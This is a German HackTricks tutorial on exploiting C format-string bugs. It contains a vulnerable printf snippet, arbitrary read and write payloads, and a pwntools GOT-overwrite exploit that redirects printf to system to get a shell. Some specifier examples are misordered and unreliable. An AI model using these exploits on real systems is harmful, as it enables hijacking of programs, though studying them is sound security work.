mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
168 lines
9.4 KiB
Markdown
168 lines
9.4 KiB
Markdown
# Format Strings
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Holen Sie sich den [**offiziellen PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
|
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**HackTricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**HackTricks-Cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
|
|
|
</details>
|
|
|
|
## Grundlegende Informationen
|
|
|
|
In C ist **`printf`** eine Funktion, die verwendet werden kann, um einen **String zu drucken**. Der **erste Parameter**, den diese Funktion erwartet, ist der **rohe Text mit den Formatierern**. Die **folgenden erwarteten Parameter** sind die **Werte**, die die **Formatierer** des Rohtexts **ersetzen** sollen.
|
|
|
|
Die Verwundbarkeit tritt auf, wenn ein **Angreifertext als erster Argument** dieser Funktion verwendet wird. Der Angreifer kann einen **speziellen Eingabe missbrauchen**, um die **Fähigkeiten der printf-Formatzeichenfolge** zu nutzen, um Daten zu lesen und **in jede Adresse zu schreiben (lesbar/schreibbar)**. Auf diese Weise kann er **beliebigen Code ausführen**.
|
|
|
|
#### Formatierer:
|
|
```bash
|
|
%08x —> 8 hex bytes
|
|
%d —> Entire
|
|
%u —> Unsigned
|
|
%s —> String
|
|
%n —> Number of written bytes
|
|
%hn —> Occupies 2 bytes instead of 4
|
|
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
|
```
|
|
**Beispiele:**
|
|
|
|
* Verwundbares Beispiel:
|
|
```c
|
|
char buffer[30];
|
|
gets(buffer); // Dangerous: takes user input without restrictions.
|
|
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
|
```
|
|
* Normale Verwendung:
|
|
```c
|
|
int value = 1205;
|
|
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
|
```
|
|
* Mit fehlenden Argumenten:
|
|
```c
|
|
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
|
```
|
|
### **Zugriff auf Zeiger**
|
|
|
|
Das Format **`%<n>$x`**, wobei `n` eine Zahl ist, ermöglicht es printf anzuzeigen, den n-ten Parameter (vom Stack) auszuwählen. Wenn Sie also den vierten Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:
|
|
```c
|
|
printf("%x %x %x %x")
|
|
```
|
|
und Sie würden vom ersten bis zum vierten Parameter lesen.
|
|
|
|
Oder Sie könnten Folgendes tun:
|
|
```c
|
|
printf("$4%x")
|
|
```
|
|
und lesen Sie direkt den vierten.
|
|
|
|
Beachten Sie, dass der Angreifer den `pr`**`intf`-Parameter kontrolliert, was im Grunde bedeutet, dass** seine Eingabe im Stapel ist, wenn `printf` aufgerufen wird, was bedeutet, dass er spezifische Speicheradressen im Stapel schreiben könnte.
|
|
|
|
{% hint style="danger" %}
|
|
Ein Angreifer, der diese Eingabe kontrolliert, kann **beliebige Adressen im Stapel hinzufügen und `printf` dazu bringen, darauf zuzugreifen**. Im nächsten Abschnitt wird erläutert, wie dieses Verhalten genutzt werden kann.
|
|
{% endhint %}
|
|
|
|
## **Beliebiges Lesen**
|
|
|
|
Es ist möglich, den Formatter **`$n%s`** zu verwenden, um **`printf`** die **Adresse** zu erhalten, die sich an der **n-Position** befindet, und sie dann **als Zeichenfolge auszugeben** (ausgeben, bis eine 0x00 gefunden wird). Wenn die Basisadresse der Binärdatei **`0x8048000`** ist und wir wissen, dass die Benutzereingabe in der 4. Position im Stapel beginnt, ist es möglich, den Anfang der Binärdatei mit auszugeben:
|
|
```python
|
|
from pwn import *
|
|
|
|
p = process('./bin')
|
|
|
|
payload = b'%6$p' #4th param
|
|
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
|
|
payload += p32(0x8048000) #6th param
|
|
|
|
p.sendline(payload)
|
|
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
|
```
|
|
{% hint style="danger" %}
|
|
Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe platzieren können, da die Zeichenkette am Ende dieser Adresse mit 0x00 abgeschnitten wird.
|
|
{% endhint %}
|
|
|
|
## **Willkürliches Schreiben**
|
|
|
|
Der Formatter **`$<num>%n`** schreibt die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse** im \<num> Parameter im Stack. Wenn ein Angreifer so viele Zeichen wie möglich mit printf schreiben kann, kann er **`$<num>%n`** dazu bringen, eine beliebige Zahl an einer beliebigen Adresse zu schreiben.
|
|
|
|
Glücklicherweise ist es nicht erforderlich, 9999 "A"s zur Eingabe hinzuzufügen, um die Zahl 9999 zu schreiben. Es ist möglich, den Formatter **`%.<num-write>%<num>$n`** zu verwenden, um die Zahl **`<num-write>`** in die **Adresse zu schreiben, die durch die Position `num`** angegeben ist.
|
|
```bash
|
|
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
|
AAAA.%500\$08x —> Param at offset 500
|
|
```
|
|
Jedoch ist zu beachten, dass normalerweise zur Angabe einer Adresse wie `0x08049724` (was eine RIESIGE Zahl ist, um sie auf einmal zu schreiben) **`$hn`** anstelle von `$n` verwendet wird. Dies ermöglicht es, **nur 2 Bytes zu schreiben**. Daher wird dieser Vorgang zweimal durchgeführt, einmal für die höchsten 2 Bytes der Adresse und ein weiteres Mal für die niedrigeren.
|
|
|
|
Daher ermöglicht diese Schwachstelle das **Schreiben beliebiger Daten an beliebige Adressen (beliebiges Schreiben)**.
|
|
|
|
In diesem Beispiel soll das Ziel sein, die **Adresse** einer **Funktion** in der **GOT-Tabelle** zu **überschreiben**, die später aufgerufen wird. Obwohl dies auch andere Techniken zum Ausführen beliebiger Schreibvorgänge missbrauchen könnte:
|
|
|
|
{% content-ref url="../arbitrary-write-2-exec/" %}
|
|
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
|
{% endcontent-ref %}
|
|
|
|
Wir werden eine **Funktion überschreiben**, die ihre **Argumente** vom **Benutzer erhält**, und sie auf die **`system`**-**Funktion** umleiten.\
|
|
Wie bereits erwähnt, sind in der Regel 2 Schritte erforderlich, um die Adresse zu schreiben: Sie schreiben zuerst 2 Bytes der Adresse und dann die anderen 2. Dazu wird **`$hn`** verwendet.
|
|
|
|
* **HOB** bezieht sich auf die 2 höheren Bytes der Adresse
|
|
* **LOB** bezieht sich auf die 2 niedrigeren Bytes der Adresse
|
|
|
|
Dann, aufgrund der Funktionsweise von Formatstrings, müssen Sie zuerst das kleinere der beiden \[HOB, LOB] schreiben und dann das andere.
|
|
|
|
Wenn HOB < LOB\
|
|
`[Adresse+2][Adresse]%.[HOB-8]x%[Offset]\$hn%.[LOB-HOB]x%[Offset+1]`
|
|
|
|
Wenn HOB > LOB\
|
|
`[Adresse+2][Adresse]%.[LOB-8]x%[Offset+1]\$hn%.[HOB-LOB]x%[Offset]`
|
|
|
|
HOB LOB HOB\_Shellcode-8 NºParam\_dir\_HOB LOB\_Shell-HOB\_Shell NºParam\_dir\_LOB
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
|
```
|
|
{% endcode %}
|
|
|
|
### Pwntools Vorlage
|
|
|
|
Sie können eine **Vorlage** finden, um einen Exploit für diese Art von Schwachstelle vorzubereiten unter:
|
|
|
|
{% content-ref url="format-strings-template.md" %}
|
|
[format-strings-template.md](format-strings-template.md)
|
|
{% endcontent-ref %}
|
|
|
|
Oder dieses grundlegende Beispiel von [**hier**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./got_overwrite-32')
|
|
libc = elf.libc
|
|
libc.address = 0xf7dc2000 # ASLR disabled
|
|
|
|
p = process()
|
|
|
|
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
|
|
p.sendline(payload)
|
|
|
|
p.clean()
|
|
|
|
p.sendline('/bin/sh')
|
|
|
|
p.interactive()
|
|
```
|
|
## Format Strings zu BOF
|
|
|
|
Es ist möglich, die Schreibaktionen einer Format-String-Schwachstelle zu missbrauchen, um **Adressen des Stacks zu schreiben** und eine Schwachstelle vom Typ **Buffer Overflow** auszunutzen.
|
|
|
|
## Weitere Beispiele & Referenzen
|
|
|
|
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
|
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
|
* 32 Bit, kein Relro, kein Canary, NX, kein PIE, grundlegende Verwendung von Format-Strings zum Auslesen der Flagge vom Stack (keine Notwendigkeit, den Ausführungsfluss zu ändern)
|
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
|
* 32 Bit, Relro, kein Canary, NX, kein PIE, Format-String zum Überschreiben der Adresse `fflush` mit der Win-Funktion (ret2win)
|
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
|
* 32 Bit, Relro, kein Canary, NX, kein PIE, Format-String zum Schreiben einer Adresse innerhalb von `main` in `.fini_array` (damit der Fluss 1 Mal mehr zurückkehrt) und Schreiben der Adresse von `system` in die GOT-Tabelle, die auf `strlen` zeigt. Wenn der Fluss zu `main` zurückkehrt, wird `strlen` mit Benutzereingabe ausgeführt und zeigt auf `system`, um die übergebenen Befehle auszuführen.
|